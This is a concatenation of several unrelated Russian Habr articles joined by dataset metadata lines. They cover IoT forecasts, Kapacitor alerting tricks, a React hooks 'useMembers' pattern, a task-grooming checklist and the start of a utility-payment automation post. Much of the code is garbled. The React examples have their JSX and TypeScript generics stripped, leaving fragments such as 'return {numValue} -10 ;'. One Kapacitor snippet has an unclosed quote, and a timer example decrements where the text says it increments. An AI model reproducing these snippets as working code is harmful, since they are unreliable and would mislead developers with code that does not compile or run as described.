Все наши любимые аналитические агентства выпускают исследования по IoT, но не все есть в свободном доступе. Для примера приведу несколько актуальных статей, демонстрирующие оптимистичные прогнозы по развитию IoT:
* Gartner, про IoT есть в тексте статьи: [5 Trends Appear on the Gartner Hype Cycle for Emerging Technologies, 2019](https://www.gartner.com/smarterwithgartner/5-trends-appear-on-the-gartner-hype-cycle-for-emerging-technologies-2019)
* McKinsey: [Growing opportunities in the Internet of Things](https://www.mckinsey.com/industries/private-equity-and-principal-investors/our-insights/growing-opportunities-in-the-internet-of-things)
**It's only the beginning!** | https://habr.com/ru/post/472216/ | null | ru | null |
# Трюки для обработки метрик в Kapacitor
Скорее всего, сегодня уже ни у кого не возникает вопрос, зачем нужно собирать метрики сервисов. Следующий логичный шаг – настроить алертинг на собираемые метрики, который будет оповещать о любых отклонениях в данных в удобные вам каналы (почту, Slack, Telegram). В сервисе онлайн-бронирования отелей [Ostrovok.ru](https://www.habr.com/?utm_source=habr&utm_medium=pr&utm_campaign=Ermolaev_dec19&utm_content=article) все метрики наших сервисов льются в InfluxDB и отображаются в Grafana, там же настроен базовый алертинг. Для задач типа «нужно посчитать что-то и сравнить с этим» мы используем Kapacitor.
Kapacitor – часть TICK-стека, который умеет обрабатывать метрики из InfluxDB. Он может соединить несколько измерений между собой (join), из полученных данных вычислить что-то полезное, записать результат обратно в InfluxDB, отправить алерт в Slack/Telegram/почту.
Весь стек имеет крутую и подробную [документацию](https://docs.influxdata.com/kapacitor/v1.5), но всегда найдутся полезные штуки, которые в явном виде в мануалах не указаны. В этой статье я решил собрать ряд таких полезных неочевидных советов (основный синтаксис TICKscipt описан [здесь](https://docs.influxdata.com/kapacitor/v1.5/tick/syntax/)) и показать, как их можно применять, на примере решения одной из наших задачек.
Поехали!
#### float & int, ошибки вычислений
Абсолютно стандартная проблема, решается через каст:
```
var alert_float = 5.0
var alert_int = 10
data|eval(lambda: float("value") > alert_float OR float("value") < float("alert_int"))
```
#### Использование default()
Если тег/поле не заполнено, возникнут ошибки в вычислениях:
```
|default()
.tag('status', 'empty')
.field('value', 0)
```
#### fill в join (inner vs outer)
По умолчанию join отбросит точки, где данных нет (inner).
При fill('null') будет выполнен outer join, после которого нужно сделать default() и заполнить пустые значения:
```
var data = res1
|join(res2)
.as('res1', 'res2)
.fill('null')
|default()
.field('res1.value', 0.0)
.field('res2.value', 100.0)
```
Тут все равно есть нюанс. Если в примере выше одна из серий (res1 или res2) будет пустой, итоговая серия (data) также будет пустой. На эту тему есть несколько тикетов на гитхабе ([1633](https://github.com/influxdata/kapacitor/issues/1633), [1871](https://github.com/influxdata/kapacitor/issues/1871), [6967](https://github.com/influxdata/influxdb/issues/6967)) – ждем фиксов и немного страдаем.
#### Использование условий в вычислениях (if в lambda)
```
|eval(lambda: if("value" > 0, true, false)
```
#### Последние пять минут из пайплайна за период
Например, вам нужно сравнить значения последних пяти минут с предыдущей неделей. Можно взять две пачки данных двумя отдельными batch’ами или вытащить часть данных из большего периода:
```
|where(lambda: duration((unixNano(now()) - unixNano("time"))/1000, 1u) < 5m)
```
Альтернативой для последних пяти минут может быть использование ноды BarrierNode, которая отсекает данные раньше указанного времени:
```
|barrier()
.period(5m)
```
Примеры использования Go’шных шаблонов в message
------------------------------------------------
Шаблоны соответствуют формату из пакета [text.template](https://golang.org/pkg/text/template/), ниже несколько часто встречающихся задачек.
#### if-else
Наводим порядок, не триггерим людей текстом лишний раз:
```
|alert()
...
.message(
'{{ if eq .Level "OK" }}It is ok now{{ else }}Chief, everything is broken{{end}}'
)
```
#### Две цифры после запятой в message
Улучшаем читабельность сообщения:
```
|alert()
...
.message(
'now value is {{ index .Fields "value" | printf "%0.2f" }}'
)
```
#### Разворачивание переменных в message
Выводим в сообщение больше информации для ответа на вопрос «Почему орет-то»?
```
var warnAlert = 10
|alert()
...
.message(
'Today value less then '+string(warnAlert)+'%'
)
```
#### Уникальный идентификатор алерта
Нужная штука, когда в данных больше одной группы, иначе будет генерироваться только один алерт:
```
|alert()
...
.id('{{ index .Tags "myname" }}/{{ index .Tags "myfield" }}')
```
#### Кастомные handler’s
В большом списке хендлеров есть exec, который позволяет выполнить свой скрипт с переданными параметрами (stdin) – творчество да и только!
Один из наших кастомов – это небольшой питонячий скрипт для отправки уведомлений в слак.
Сначала нам захотелось отправлять в сообщении картинку из графаны, защищенной авторизацией. После – писать OK в тред к предыдущему алерту из той же группы, а не отдельным сообщением. Ещё чуть позже – дописывать в сообщение самую частую ошибку за последние Х минут.
Отдельная тема – связь с другими сервисами и какие-либо действия, инициированные алертом (только если ваш мониторинг работает достаточно хорошо).
Пример описания хендлера, где slack\_handler.py – наш самописный скрипт:
```
topic: slack_graph
id: slack_graph.alert
match: level() != INFO AND changed() == TRUE
kind: exec
options:
prog: /sbin/slack_handler.py
args: ["-c", "CHANNELID", "--graph", "--search"]
```
Как дебажить?
-------------
#### Вариант с выводом в лог
```
|log()
.level("error")
.prefix("something")
```
Смотреть (cli): kapacitor -url [host-or-ip](http://host-or-ip):9092 logs lvl=error
#### Вариант с httpOut
Показывает данные в текущем пайплайне:
```
|httpOut('something')
```
Смотреть (get): [host-or-ip](http://host-or-ip):9092/kapacitor/v1/tasks/task\_name/something
#### Схема выполнения
* Каждая таска возвращает дерево выполнения с полезными цифрами в формате [graphviz](https://www.graphviz.org/).
* Берем блок [dot](http://host-or-ip:9092/kapacitor/v1/tasks/task_name?dot-view=labels).
* Вставляем в viewer, [наслаждаемся](https://dreampuf.github.io/GraphvizOnline).
Где ещё можно получить граблями
-------------------------------
#### timestamp в influxdb при обратной записи
Например, мы настраиваем алерт на сумму запросов за час (groupBy(1h)) и хотим записать случившийся алерт в influxdb (чтобы красиво показать факт наличия проблемы на графике в grafana).
influxDBOut() запишет в timestamp значение time из алерта, соответственно, точка на графике будет записана раньше/позже, чем пришел алерт.
Когда требуется точность: обходим эту проблему через вызов кастомного handler'а, который запишет данные в influxdb с текущим timestamp'ом.
#### docker, сборка и деплой
При старте kapacitor может подгружать таски, шаблоны и хендлеры из директории, прописанной в конфиге, в блоке [load].
Для корректного создания таски нужны следующие вещи:
1. Название файла – разворачивается в id/название скрипта
2. Тип – stream/batch
3. dbrp – кейворд для указания в какой базе + политике работает скрипт (dbrp «supplier».«autogen»)
Если в какой-то batch-таске не будет строки с dbrp, весь сервис откажется запускаться и честно напишет об этом в лог.
В chronograf’е же, напротив, этой строки быть не должно, через интерфейс она не принимается и выдаёт ошибку.
Хак при сборке контейнера: Dockerfile выходит с -1, если есть строки с //.+dbrp, что позволит сразу понять причину фейла при сборке билда.
#### join один ко многим
Задача-пример: нужно взять 95-й перцентиль времени работы сервиса за неделю, сравнить каждую минуту из 10 последних с этим значением.
Нельзя сделать join один ко многим, last/mean/median по группе точек превращают ноду в stream, вернется ошибка «cannot add child mismatched edges: batch -> stream».
Результат batch’а, как переменной в lambda-выражении, тоже не подставляется.
Есть вариант сохранять нужные цифры из первого батча в файл через udf и загружать этот файл через sideload.
Что мы этим решали?
-------------------
У нас есть около 100 поставщиков отелей, к каждому из них может быть несколько подключений, назовем это каналом. Этих каналов примерно 300, каждый из каналов может отвалиться. Из всех записываемых метрик будем мониторить рейт ошибок (requests и errors).
#### Почему не графана?
Алерты по ошибкам, настроенные в графане, имеют несколько минусов. Какие-то критичные, на какие-то можно закрыть глаза, в зависимости от ситуации.
Графана не умеет вычисления между измерениями + алертинг, а нам же нужен рейт (requests-errors)/requests.
Ошибки выглядят злобно:
И менее злобно, если смотреть с успешными запросами:
Окей, мы можем предварительно посчитать рейт в сервисе до графаны, и в каких-то случаях это подойдет. Но не в нашем, т.к. для каждого канала свое соотношение считается «нормальным», а алерты работают по статичным значениям (ищем глазками, меняем, если часто алертит).
Это примеры «нормально» для разных каналов:
Пренебрегаем предыдущим пунктом и предположим, что у всех поставщиков «нормальная» картина похожа. Теперь-то все хорошо, и мы можем обойтись алертами в grafana?
Можем, но очень не хочется, потому что надо выбирать один из вариантов:
а) сделать множество графиков под каждый канал отдельно (и мучительно их сопровождать)
б) оставить один график со всеми каналами (и потеряться в цветастых линиях и настроенных алертах)
#### Как сделали?
Опять же, в документации есть хороший стартовый пример ([Calculating rates across joined series](https://docs.influxdata.com/kapacitor/v1.5/guides/join_backfill/)), можно подглядеть или взять за основу в аналогичных задачах.
Что сделали в итоге:
* join двух серий за несколько часов, группировка по каналам;
* заполняем серии по группам, если данных не было;
* сравниваем медиану последних 10 минут с предыдущими данными;
* кричим, если что-то обнаружили;
* пишем посчитанные рейты и случившиеся алерты в influxdb;
* отправляем полезное сообщение в slack.
На мой взгляд, нам максимально красиво удалось всё, что хотели бы получить на выходе (и даже чуть больше с кастомными хэндлерами).
На github.com можно посмотреть [пример кода](https://github.com/ostrovok-team/kapacitor-examples/blob/master/requests.rate.tick) и [минимальную схему (graphviz)](https://github.com/ostrovok-team/kapacitor-examples/blob/master/requests.rate.png) полученного скрипта.
**Пример получившегося кода:**
```
dbrp "supplier"."autogen"
var name = 'requests.rate'
var grafana_dash = 'pczpmYZWU/mydashboard'
var grafana_panel = '26'
var period = 8h
var todayPeriod = 10m
var every = 1m
var warnAlert = 15
var warnReset = 5
var reqQuery = 'SELECT sum("count") AS value FROM "supplier"."autogen"."requests"'
var errQuery = 'SELECT sum("count") AS value FROM "supplier"."autogen"."errors"'
var prevErr = batch
|query(errQuery)
.period(period)
.every(every)
.groupBy(1m, 'channel', 'supplier')
var prevReq = batch
|query(reqQuery)
.period(period)
.every(every)
.groupBy(1m, 'channel', 'supplier')
var rates = prevReq
|join(prevErr)
.as('req', 'err')
.tolerance(1m)
.fill('null')
// заполняем значения нулями, если их не было
|default()
.field('err.value', 0.0)
.field('req.value', 0.0)
// if в lambda: считаем рейт, только если ошибки были
|eval(lambda: if("err.value" > 0, 100.0 * (float("req.value") - float("err.value")) / float("req.value"), 100.0))
.as('rate')
// записываем посчитанные значения в инфлюкс
rates
|influxDBOut()
.quiet()
.create()
.database('kapacitor')
.retentionPolicy('autogen')
.measurement('rates')
// выбираем данные за последние 10 минут, считаем медиану
var todayRate = rates
|where(lambda: duration((unixNano(now()) - unixNano("time")) / 1000, 1u) < todayPeriod)
|median('rate')
.as('median')
var prevRate = rates
|median('rate')
.as('median')
var joined = todayRate
|join(prevRate)
.as('today', 'prev')
|httpOut('join')
var trigger = joined
|alert()
.warn(lambda: ("prev.median" - "today.median") > warnAlert)
.warnReset(lambda: ("prev.median" - "today.median") < warnReset)
.flapping(0.25, 0.5)
.stateChangesOnly()
// собираем в message ссылку на график дашборда графаны
.message(
'{{ .Level }}: {{ index .Tags "channel" }} err/req ratio ({{ index .Tags "supplier" }})
{{ if eq .Level "OK" }}It is ok now{{ else }}
'+string(todayPeriod)+' median is {{ index .Fields "today.median" | printf "%0.2f" }}%, by previous '+string(period)+' is {{ index .Fields "prev.median" | printf "%0.2f" }}%{{ end }}
http://grafana.ostrovok.in/d/'+string(grafana_dash)+
'?var-supplier={{ index .Tags "supplier" }}&var-channel={{ index .Tags "channel" }}&panelId='+string(grafana_panel)+'&fullscreen&tz=UTC%2B03%3A00'
)
.id('{{ index .Tags "name" }}/{{ index .Tags "channel" }}')
.levelTag('level')
.messageField('message')
.durationField('duration')
.topic('slack_graph')
// "today.median" дублируем как "value", также пишем в инфлюкс остальные филды алерта (keep)
trigger
|eval(lambda: "today.median")
.as('value')
.keep()
|influxDBOut()
.quiet()
.create()
.database('kapacitor')
.retentionPolicy('autogen')
.measurement('alerts')
.tag('alertName', name)
```
А вывод-то какой?
-----------------
Kapacitor замечательно умеет выполнять мониторинг-алертинг с кучей группировок, производить дополнительные вычисления по уже записанным метрикам, выполнять кастомные действия и запускать скрипты (udf).
Порог вхождения не очень высокий – попробуйте его, если графана или другие инструменты не до конца удовлетворяют ваши хотелки. | https://habr.com/ru/post/478702/ | null | ru | null |
# Чего мне не хватало в функциональных компонентах React.js
За последние годы о React hooks не писал разве что ленивый. Решился и я.
Помню первое впечатление - WOW-эффект. Можно не писать классы. Не нужно описывать тип состояния, инициализировать состояния в конструкторе, теснить всё состояние в одном объекте, помнить о том, как `setState` сливает новое состояние со старым. Не придется больше насиловать методы `componentDidMount` и `componentWillUnmount` запутанной логикой инициализации и освобождения ресурсов.
Вот простой компонент: управляемое текстовое поле и счетчик, который увеличивается на 1 по таймеру и уменьшается на 10 по нажатию кнопки;
```
import * as React from "react";
interface IState {
numValue: number;
strValue: string;
}
export class SomeComponent extends React.PureComponent<{}, IState> {
private intervalHandle?: number;
constructor() {
super({});
this.state = { numValue: 0, strValue: "" };
}
render() {
const { numValue, strValue } = this.state;
return
{numValue}
-10
;
}
private onTextChanged = (e: React.ChangeEvent) =>
this.setState({ strValue: e.target.value });
private onBtnClick = () => this.setState(({ numValue }) => ({ numValue: numValue - 10 }));
componentDidMount() {
this.intervalHandle = setInterval(
() => this.setState(({ numValue }) => ({ numValue: numValue + 1 })),
1000
);
}
componentWillUnmount() {
clearInterval(this.intervalHandle);
}
}
```
превращается в ещё более простой:
```
import * as React from "react";
export function SomeComponent() {
const [numValue, setNumValue] = React.useState(0);
const [strValue, setStrValue] = React.useState("");
React.useEffect(() => {
const intervalHandle = setInterval(() => setNumValue(v => v - 10), 1000);
return () => clearInterval(intervalHandle);
}, []);
const onBtnClick = () => setNumValue(v => v - 10);
const onTextChanged = (e: React.ChangeEvent) => setStrValue(e.target.value);
return
{numValue}
-10
;
}
```
Функциональный компонент не только в два раза короче, он понятнее: функция умещается в один экран, всё перед глазами, конструкции лаконичны и ясны. Красота.
Но в реальном мире далеко не все компоненты получаются такими простыми. Давайте добавим нашему компоненту возможность сигнализировать родителю об изменении числа и строки, а элементы `input` и `button` заменим компонентами `Input` и `Button`, которые потребуют обернуть обработчики событий хуком `useCallback`.
```
interface IProps {
numChanged?: (sum: number) => void;
stringChanged?: (concatRezult: string) => void;
}
export function SomeComponent(props: IProps) {
const { numChanged, stringChanged } = props;
const [numValue, setNumValue] = React.useState(0);
const [strValue, setStrValue] = React.useState("");
const setNumValueAndCall = React.useCallback((diff: number) => {
const newValue = numValue + diff;
setNumValue(newValue);
if (numChanged) {
numChanged(newValue);
}
}, [numValue, numChanged]);
React.useEffect(() => {
const intervalHandle = setInterval(() => setNumValueAndCall(1), 1000);
return () => clearInterval(intervalHandle);
}, [setNumValueAndCall]);
const onBtnClick = React.useCallback(
() => setNumValueAndCall(- 10),
[setNumValueAndCall]);
const onTextChanged = React.useCallback((e: React.ChangeEvent) => {
setStrValue(e.target.value);
if (stringChanged) {
stringChanged(e.target.value);
}
}, [stringChanged]);
return
{numValue}
-10
;
}
```
Некрасиво: `useCallback` уродует код, приходится следить за списком зависимостей. Во избежание дублирования я вынес общий код из обработчика `onBtnClick` и `useEffect` в функцию `setNumValueAndCall`, которую также обернул `useCallback`*,* и далее опирался на её (`setNumValueAndCall`) экземпляр как на зависимость. Возможно, зависимость функции от функции - не лучшее решение, но поставить в зависимость `onBtnClick` и `useEffect` список зависимостей `setNumValueAndCall` тоже наглядностью не выделяется.
Вдобавок к эстетическим проблемам в новой версии таймер устанавливается заново при каждом нажатии кнопки. Возможно это и не проблема, но вряд ли мы этого хотели.
А классовый компонент переносит тоже расширение функциональности без осложнений.
```
export class SomeComponent extends React.PureComponent {
private intervalHandle?: number;
constructor() {
super({});
this.state = { numValue: 0, strValue: "" };
}
render() {
const { numValue, strValue } = this.state;
return
{numValue}
-10
;
}
private onTextChanged = (e: React.ChangeEvent) => {
this.setState({ strValue: e.target.value });
const { stringChanged } = this.props;
if (stringChanged) {
stringChanged(e.target.value);
}
}
private onBtnClick = () => this.setNumValueAndCall(- 10);
private setNumValueAndCall(diff: number) {
const newValue = this.state.numValue + diff;
this.setState({ numValue: newValue });
const { numChanged } = this.props;
if (numChanged) {
numChanged(newValue);
}
}
componentDidMount() {
this.intervalHandle = setInterval(
() => this.setNumValueAndCall(1),
1000
);
}
componentWillUnmount() {
clearInterval(this.intervalHandle);
}
}
```
Что же делать? В сложных случаях возвращаться к компонентам-классам? Ну уж нет, нам слишком нравятся возможности, привнесенные хуками.
Предлагаю выносить загромождающие код обработчики в объект класса вместе с зависимостями. Разве так не лучше?
```
export function SomeComponent(props: IProps) {
const [numValue, setNumValue] = React.useState(0);
const [strValue, setStrValue] = React.useState("");
const { onTextChanged, onBtnClick, intervalEffect } =
useMembers(Members, { props, numValue, setNumValue, setStrValue });
React.useEffect(intervalEffect, []);
return
{numValue}
-10
;
}
type SetState = React.Dispatch>;
interface IDeps {
props: IProps;
numValue: number;
setNumValue: SetState;
setStrValue: SetState;
}
class Members extends MembersBase {
intervalEffect = () => {
const intervalHandle = setInterval(() => this.setNumValueAndCall(1), 1000);
return () => clearInterval(intervalHandle);
};
onBtnClick = () => this.setNumValueAndCall(- 10);
onTextChanged = (e: React.ChangeEvent) => {
const { props: { stringChanged }, setStrValue } = this.deps;
setStrValue(e.target.value);
if (stringChanged) {
stringChanged(e.target.value);
}
};
private setNumValueAndCall(diff: number) {
const { props: { numChanged }, numValue, setNumValue } = this.deps;
const newValue = numValue + diff;
setNumValue(newValue);
if (numChanged) {
numChanged(newValue);
}
};
}
```
Код компонента снова прост и изящен. Обработчики событий вместе с зависимостями мирно ютятся в классе.
Хук `useMembers` и базовый класс тривиальны:
```
export class MembersBase {
protected deps: T;
setDeps(d: T) {
this.deps = d;
}
}
export function useMembers>(ctor: (new () => T), deps: (T extends MembersBase ? D : never)): T {
const ref = useRef();
if (!ref.current) {
ref.current = new ctor();
}
const rv = ref.current;
rv.setDeps(deps);
return rv;
}
```
[Код на Github](https://github.com/vvaannaa1/useMembers) | https://habr.com/ru/post/552046/ | null | ru | null |
# Как грумить задачу: чек-лист с примерами
Наша разработка постоянно растет, поэтому приходится онбордить по несколько человек в месяц и каждому рассказывать, как правильно грумить задачи. Обучать груму «вручную» больно, потому что это отнимает много времени, какие-то знания теряются по дороге и выскакивают ошибки, которых можно было избежать. Чтобы облегчить жизнь лидам и новичкам, мы собрали чек-лист с описанием этапов грума и примерами. Он будет полезен разработчикам продуктовых компаний, которые онбордят или которых недавно приняли в штат. Чек-лист поможет разбивать задачи на этапы, чтобы ничего не терялось и результат соответствовал ожиданиям.
Все примеры ниже — специфичные и подойдут не каждому, они построены в основном на продуктах Mindbox [«Рассылки»](https://mindbox.ru/products/mailings/) и [«Программа лояльности»](https://mindbox.ru/products/loyalty-program/). Продукты помогают нашим клиентам запускать автоматические рассылки по триггерам (действиям или событиям), чтобы не спамить пользователей, выдавать промокоды и выстраивать бонусные системы. Если поймете, что чек-лист полезен, можете заменить примеры на свои и использовать.
Ниже подробнее о том, как сделать качественный грум:
* цель грума,
* необходимый минимум,
* уточнение требований и контекста,
* типичные этапы,
* особенности при доработке механик.
Цель грума
----------
Цель грума — провалидировать решение с командой перед тем, как брать задачу в работу. Для этого нужно:
* снять технические риски,
* уточнить требования,
* разбить грум на небольшие части, которые можно ревьюить и мержить отдельно,
* уточнить оценку задачи,
* сохранить информацию о решении и его мотивации.
Необходимый минимум
-------------------
### Контекст
Зачем задача нужна бизнесу:
* какую потребность бизнеса решает,
* какие сервисы затрагивает,
* как реализовано сейчас и что меняем.
| | | |
| --- | --- | --- |
| Плохо | Чуть лучше | Хорошо |
| Делаем `SentMailingConnectedEntitiesContext`, храним в нем датапарты с идентификаторами сущностей | Для бизнеса важно иметь связь рассылки с заказом и, возможно, другими сущностями | Кейс: в саппорт звонит пользователь и говорит, что ему не пришло письмо про заказ.
Задача: иметь возможность быстро найти в админке рассылки, которые связаны с заказом |
### Список этапов
Краткое описание этапов реализации — минимум по одному предложению на каждый этап. Желательно, чтобы каждый этап можно было ревьюить и мержить отдельно. При этом этапы нужно добавлять по необходимости и не пытаться во всех задачах разгрумить все аспекты.
| | |
| --- | --- |
| Плохо | Хорошо |
| Добавляем сохранение связи рассылки и заказа в триггеры и операции | * Добавляем `SentMailingConnectedEntitiesContext`, который умеет связывать сущности с отправленной рассылкой.
* Связываем рассылку с сущностями в кейсе неотправки.
* Связываем рассылку в кейсе простой отправки
|
### Приемочные критерии
Недвусмысленное описание того, как должна работать система по завершении задачи.
| | | |
| --- | --- | --- |
| Плохо | Чуть лучше | Хорошо |
| Привязывать сущность при отправке рассылки сразу при срабатывании триггера или вызове операции | В тестах при отправке рассылка связывается с тестовой сущностью. Принимает программист.
Плюс всю задачу можно принимать на тесте при простой отправке | При отправке письма о заказе из триггера или операции можем отфильтровать все действия рассылки с помощью фильтра по ID рассылки |
Уточнение требований и контекста
--------------------------------
### Валидация проблемы
Какую проблему решаем? Точно ли нужно ее решать именно так? Не нужно ли более общее решение?
### Консистентность системы
Не позволяем ли мы создавать один и тот же функционал двумя способами без особых на то причин?
Пример, как не надо. Обычно все страницы списков сущностей стандартные и в них используется стандартный контрол фильтра для поиска. При этом на странице проблем нет стандартной подгрузки батчами и контрола фильтра, потому что ПО решил, что нужен другой UX. В результате написали кастомный код, еще и страница тормозит:
Страница проблем в админке Mindbox. Фильтр не такой, как на других страницах, в нем всего один параметр — статус проблемы
### Сценарии приемки
Как проверить, что приемочные критерии выполнены?
| | | |
| --- | --- | --- |
| Плохо | Чуть лучше | Хорошо |
| В задаче со сложной приемкой отсутствуют критерии | Проверяем работу фильтра после отправки письма | Кейс 1:
* Вызываем операцию, которая создает заказ и отправляет рассылку.
* Фильтруем действия по ID заказа.
* Проверяем, что все действия по рассылке показываются.
Кейс 2:
* Создаем триггер, который отправляет рассылку по событию «заказ попал в БД».
* Добавляем заказ.
* Фильтруем действия по ID заказа.
* Проверяем, что все действия по рассылке показываются
|
### BDD-тест (behavior driven development)
В задаче сложная бизнес-логика с большим количеством неочевидных сценариев? Если да, нужен BDD-тест.
*При этом нужно учесть, что мы пишем тесты в коде, — у бизнес-аналитика нет фреймворка для тестов.*
Примеры, когда понадобилась детальная подготовка тестовых сценариев от бизнес-аналитика:
Кейсы дедубликации и безопасности операций
Кейсы фильтров по времени относительно текущего из контекста
### Фича-тоггл
Как тестировать новые изменения на части клиентов: с помощью фичи-тоггла или другим способом?
| | |
| --- | --- |
| Плохо | Хорошо |
| Делаем без фичи-тоггла, выкладываем код на продакшен. Там дурацкая ошибка, и сервис падает на всех клиентах [в «канареечном» окружении](https://octopus.com/docs/deployments/patterns/canary-deployments). Приходится откатывать и блокировать пайплайн | Делаем под фичей; включаем на одном клиенте в бете; видим, что не работает; выключаем фичу и спокойно чиним |
### Объем железа
Начинаем ли хранить терабайты новых данных или расходовать много CPU? Если да, то нужно обновить модель железа.
| | |
| --- | --- |
| Плохо | Хорошо |
| Строим новый индекс на большой таблице, никого не предупредив | При добавлении новых таблиц оцениваем их размер. Если он большой, разбираемся, есть ли столько места и как его выделить |
### Поведение в случае отказов
Как ведем себя в случае отказов, если сервис недоступен, LRT лежал, был регулярный даунтайм БД?
*LRT (long running task) — обработчик фоновых задач.*
| | |
| --- | --- |
| Плохо | Хорошо |
| Описываем этап задачи, который обрабатывает записи с текущей минуты. Если LRT не работал какое-то время, часть периода остается непокрытой | Описываем этап задачи, который сохраняет (например, в свои настройки) информацию, за какой период он обработал данные. Неважно, когда он запустится в следующий раз, но продолжит обработку он с нужного времени |
### Проблемы
Нужно ли заводить проблемы в каком-то из сценариев?
*Под проблемами мы понимаем сообщения для клиентов о том, что какие-то автоматические механики в админке работают неправильно, в чем ошибка и как ее исправить. Например:
* настроена автоматическая выдача промокодов, а промокоды в пуле закончились;
* настроено списание бонусов по событию, а у клиента нет баллов, и баланс станет отрицательным;
* в шаблоне письма что-нибудь делим на количество заказов, а заказов ноль — получается, что делим на ноль.*
| | | |
| --- | --- | --- |
| Плохо | Чуть лучше | Хорошо |
| Клиент криво настроил триггер, в нем падает отправка письма и заводится баг на разработчика. Это отвлекает разработчика и заставляет связываться с клиентом через менеджеров и поддержку | Клиент криво настроил триггер, в нем падает отправка письма и заводится проблема на рассылку с текстом, который придумал программист. Клиенту приходит об этом письмо на почту, он сам не может разобраться в том, что произошло, и обращается в поддержку | Клиент криво настроил триггер, в нем падает отправка письма и заводится проблема на этот триггер с текстом, который придумал ПО. Клиенту приходит об этом письмо на почту, он сам разбирается со своим триггером и никого не отвлекает |
### Ограничение доступа
Какие должны быть ограничения доступа: пермиссии персонала, авторизация?
| | |
| --- | --- |
| Плохо | Хорошо |
| Любой младший маркетолог клиента, который отправляет массовые рассылки, может зайти на страницу точек интеграции и посмотреть секретные ключи для вызовов сервисов | Страница интеграций закрыта пермиссией «Просмотр точек интеграции», которая выдается только доверенному персоналу |
Типичные этапы
--------------
### Two-phase-миграция
Как именно будет происходить миграция: изменения в базе данных, контрактах сервисов, наборе топиков Kafka? Не сломается ли обратная совместимость?
| | |
| --- | --- |
| Плохо | Хорошо |
| Из сущности «Персонал» договорились удалить «Тип персонала», так как теперь у всех один тип и этот функционал больше не используется. Удаляем свойство из сущности и сразу пишем скрипт, удаляющий колонку.
*Почему это плохо: при деплое миграция базы может произойти раньше, чем деплой нового кода. Старому коду будет не хватать этой колонки, и он упадет.* | Удаляем свойство из сущности, мержим и ждем, когда этот код окажется на всех проектах. После этого пишем скрипт, удаляющий колонку. |
| Обнаружили ошибку в контракте: при передаче суммы изменения баланса возвращаем `650` Исправляем ошибку и возвращаем узел `650` | Исправляем ошибку, возвращаем два узла:
* старый `650`
* новый `650`
Ждем, когда все клиенты перейдут на новый узел, удаляем его. |
### UI и бэкенд
Отдельно ли редактируем метаданные и рантайм, который их использует? Стандартный пример задачи на блоки в сценариях: UI, бэкенд для UI, рантайм — все отдельно.
Примеры подэпиков в эпике сценариев:
### Нагрузочные тесты
Нужны ли нагрузочные тесты? Какой риск хотим снять, используя нагрузочный тест?
### Метрики, алерты, хартбит
Какие метрики используем?
| | | |
| --- | --- | --- |
| Плохо | Чуть лучше | Хорошо |
| Описание этапа подготовлено без метрик | В описании этапа рассказано, какие метрики было бы интересно репортить | В описании этапа расписано, какие метрики было бы интересно репортить, какие алерты на них можно построить и какой примерный текст ранбука ожидается |
Описание этапов
---------------
### Место для начала и копипасты
Только если другие члены команды плохо знакомы с этой частью кода.
| | |
| --- | --- |
| Плохо | Хорошо |
| Добавляем `SentMailingConnectedEntitiesContext`, который умеет связывать сущности с отправленной рассылкой | Добавляем SentMailingConnectedEntitiesContext, который умеет связывать сущности с отправленной рассылкой.
Сама отправка и привязка должна происходить в `MailingProtocol'3.SendInterna`l, куда нужно пробрасывать `SentMailingConnectedEntitiesContext` |
### Нюансы реализации
Только важные и неочевидные, не надо расписывать «до бетона» реализацию каждого класса.
| | |
| --- | --- |
| Плохо | Хорошо |
| Добавляем `SentMailingConnectedEntitiesContext`, который умеет связывать сущности с отправленной рассылкой.
*Много текста с подробностями реализации* | Добавляем `SentMailingConnectedEntitiesContext`, который умеет связывать сущности с отправленной рассылкой.
Чтобы привязать все контекстные сущности к рассылке, можно сделать в нем метод `BindEntitiesToMessage(modelContext, rootMailingCustomerAction`), который достает все зарегистрированные `ISentMailingConnectedEntityDescription` и вызывает `BindEntityToMessage` у каждого из них |
### Тест-кейсы
Только важные и неочевидные. Полный список нужных тестов описывать не надо — его можно окончательно составить только в процессе реализации.
| | |
| --- | --- |
| Плохо | Хорошо |
| Сложная задача, в которой не написано, какие тесты можно написать хотя бы от бизнеса.
Несложная задача, в которой детально расписаны все возможные тест-кейсы, которые могут появиться | Описаны базовые тест-кейсы, которые точно должны выполняться. *См. пример ниже* |
Пример, как надо. Несколько кейсов при отложенной отправке:
### Интерфейсы классов или контрактов сервисов
Только важные и неочевидные, которые хочется обсудить перед реализацией.
| | |
| --- | --- |
| Плохо | Хорошо |
| Несколько задач, в каждой не указаны контракты. При разработке людям нужно синхронизироваться по этим контрактам самостоятельно, и если они забудут, придется решать эту проблему при интеграции | *См. пример ниже* |
Пример, как надо. Классы, их взаимодействие и интерфейсы при привязке заказов к рассылкам:
### Схема данных в БД
В том числе — какие нужны индексы и типы полей.
Пример. Этап задачи о модели связи заказа с рассылкой:
### Этап, после которого можно мержить код
Важно грумить так, чтобы задачи можно было ревьюить небольшими частями. +300 строк — норм, +1500 — нет.
Пример. В каждой задаче о новом виде проблемы написано, что можно мержить отдельно:
### Гарантия консистентности при параллельных запросах
| | |
| --- | --- |
| Плохо | Хорошо |
| Человек с сайта быстро отправляет два запроса на списание баллов так, что они обрабатываются одновременно, а не последовательно, и уходит в отрицательный баланс | Кейс параллельного списания баллов рассмотрели в задаче и объяснили, как не допускать такой ситуации |
Особенности при доработке механик
---------------------------------
*Этот блок — специфика Mindbox, но может пригодиться тем, кто работает над созданием админок.*
### Новые поля
Новые поля должны валидироваться, экспортироваться, импортироваться, фильтроваться, отображаться в UI, логироваться и копироваться.
### Новая сущность и связь
Новая сущность должна синхронизироваться с сервисом зависимостей, а новая связь — отправляться в сервис зависимостей.
**Авторы**
Тёма Рудневский, разработчик, техлид
Николай Андрейчук, разработчик, техлид | https://habr.com/ru/post/581864/ | null | ru | null |
# Как я ЖКХ-платежи автоматизировал
Если у вас есть возможность оплачивать все коммунальные счета из одного приложения, я вам завидую. А уж если у вас стоят умные счётчики, то вы просто счастливчик.
У меня вот две обслуживающие организации, и заведены два личных кабинета на разных сайтах. В одном кабинете я должен ежемесячно передавать показания всех счётчиков и оплачивать воду, электричество и прочие коммунальные услуги. А в другом я должен продублировать показания счётчиков горячей воды и заплатить за тепло. Дни, когда можно передавать показания по воде и электричеству, разные. А передавать показания и потом платить после выставления счёта лучше вовремя, иначе возникает неразбериха. Можно, конечно, ставить напоминалки, но это не слишком-то помогает.
Решил я немного упростить жизнь и написать программку, которая будет оповещать меня о наступивших событиях, таких как необходимость заплатить или передать показания, и позволит передавать показания счётчиков сразу на оба сайта в нужное время.
Под катом рассказ о том, что у меня из этого получилось.
